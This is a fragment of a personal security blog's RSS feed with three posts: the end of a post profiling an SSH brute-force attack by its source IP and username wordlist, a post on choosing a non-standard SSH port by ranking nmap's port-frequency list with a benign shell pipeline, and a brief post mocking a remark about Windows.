<div id="attachment_840" class="wp-caption aligncenter" style="width: 491px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/04/12-distribution-last-occurrences-targeted-users.png"><img class="size-full wp-image-840  " title="12-distribution-last-occurrences-targeted-users" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/12-distribution-last-occurrences-targeted-users.png" alt="" width="481" height="126" /></a><p class="wp-caption-text">...and last occurrences of each userid being fairly even throughout too.</p></div>
<p style="text-align: left;">More stats would be needed depending on the theory you're trying to prove/disprove, but you get the picture.</p>
<p style="text-align: left;">One of the things I usually would want to see is the list of userids used to brute force.  In this case, it looks like a predominantly Japanese/Chinese wordlist/namelist being used.  Interesting.</p>
<p style="text-align: center;">
<div id="attachment_841" class="wp-caption aligncenter" style="width: 624px"><a href="http://blog.rayfoo.info/wp-content/uploads/2011/04/14-targeted-usernames.png"><img class="size-full wp-image-841 " title="14-targeted-usernames" src="http://blog.rayfoo.info/wp-content/uploads/2011/04/14-targeted-usernames.png" alt="" width="614" height="360" /></a><p class="wp-caption-text">Am I Japanese?  Am I Chinese? <img src='http://blog.rayfoo.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p></div>
<p>Maybe I should start blogging in other languages to see what kind of brute force wordlists turn up <img src='http://blog.rayfoo.info/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>For now, in any case, <span style="color: #ff0000;"><strong>122.166.127.116 (abts-kk-static-116.127.166.122.airtelbroadband.in), I AM WATCHING YOU</strong></span>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2011/04/profiling-of-persistent-sshd-brute-force-attack/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Added Layer Of Obscurity: Finding a non-standard port for your service</title>
		<link>http://blog.rayfoo.info/2011/03/added-layer-of-obscurity-finding-a-non-standard-port-for-your-service</link>
		<comments>http://blog.rayfoo.info/2011/03/added-layer-of-obscurity-finding-a-non-standard-port-for-your-service#comments</comments>
		<pubDate>Sat, 26 Mar 2011 15:22:16 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[brute forcing]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[hardening]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[port knocking]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[security by obscurity]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=812</guid>
		<description><![CDATA[Designing your security model using only obscurity is always a bad idea, but after sound measures have been put in place, an added layer of obscurity might make the service/account harder to find for the malicious, and lower the resources wasted by their brute forcing, etc. An example would be the changing of private services [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-813" title="&quot;Now where's that darned port?!&quot;" src="http://blog.rayfoo.info/wp-content/uploads/2011/03/blindfolded-man.jpg" alt="" width="300" height="247" />Designing your security model using only <a href="http://en.wikipedia.org/wiki/Security_through_obscurity">obscurity</a> is always a bad idea, but after sound measures have been put in place, an added layer of obscurity might make the service/account harder to find for the malicious, and lower the resources wasted by their brute forcing, etc.</p>
<p>An example would be the changing of private services (e.g. SSH) to run on non-standard ports (I see this frequently recommended as part of hardening guides anyway; there's <a href="http://en.wikipedia.org/wiki/Port_knocking">port knocking</a> too which could be even better, but that's not the point of this post).</p>
<p>In the example of hiding SSH ports, the question then comes: <strong>what port to use?</strong> One of the many ways is to make use of nmap's frequently used ports list to help make a decision.  Nmap scans using the top 1000 frequently used ports in a normal scan (although we change the scan to scan based on any top <em>n</em> used ports too).  So we run this in a shell to list the top 1000 (or <em>n</em> of your fancy) used ports:</p>
<pre><strong><span style="color: #00ff00;">cat /usr/share/nmap/nmap-services | \
awk '{print $3 "\t" $2 "\t\t" $1}' | \
sort -nr | head -n1000 | less
</span></strong></pre>
<p>&nbsp;<br />
Let's break this command down:</p>
<p><span style="color: #00ff00;"><strong>cat /usr/share/nmap/nmap-services</strong></span> prints out the contents of the nmap-services file (used to track the probabilities of the ports used) to STDOUT.</p>
<p><span style="color: #00ff00;"><strong>awk '{print $3 "\t" $2 "\t\t" $1}'</strong></span> formats the contents of the nmap-services for the sort command to work on.</p>
<p><span style="color: #00ff00;"><strong>sort -nr</strong></span> sorts the entries by reverse numerical order.</p>
<p><span style="color: #00ff00;"><strong>head -n1000</strong></span> shows only the top 1000 lines of output (change to any number you wish, or remove altogether to see the full list)</p>
<p><span style="color: #00ff00;"><strong>less</strong></span> displays the output in a scrollable, searchable manner.</p>
<p>On an ending note, it probably would be a bad idea to go straight for the last entries in the sorted list for your port selections.  <strong>Remember: we want to be <em>unpredictable</em>, and not simply <em>different</em>.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2011/03/added-layer-of-obscurity-finding-a-non-standard-port-for-your-service/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Shocking quote</title>
		<link>http://blog.rayfoo.info/2010/11/shocking-quote</link>
		<comments>http://blog.rayfoo.info/2010/11/shocking-quote#comments</comments>
		<pubDate>Fri, 19 Nov 2010 17:28:28 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Operating System]]></category>
		<category><![CDATA[quotes]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[SIEM]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=772</guid>
		<description><![CDATA[A quote so shocking that dumbfounded me there and then.  Made me pretty worried actually, counting the industry the person is supposed to be working in. There're so many people using Windows out there, so it must be good! Technical consultant for a SIEM solution trying to say that "Windows is the best OS"]]></description>
			<content:encoded><![CDATA[<p>A quote  so shocking that dumbfounded me there and then.  Made me pretty worried actually, counting the industry the person is supposed to be working in.</p>
<blockquote><p>There're so many people using Windows out there, so it must be good!</p>
<p style="text-align: right;"><em>Technical consultant for a SIEM solution</em><br />
<em>trying to say that "Windows is the best OS"<br />
</em></p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2010/11/shocking-quote/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

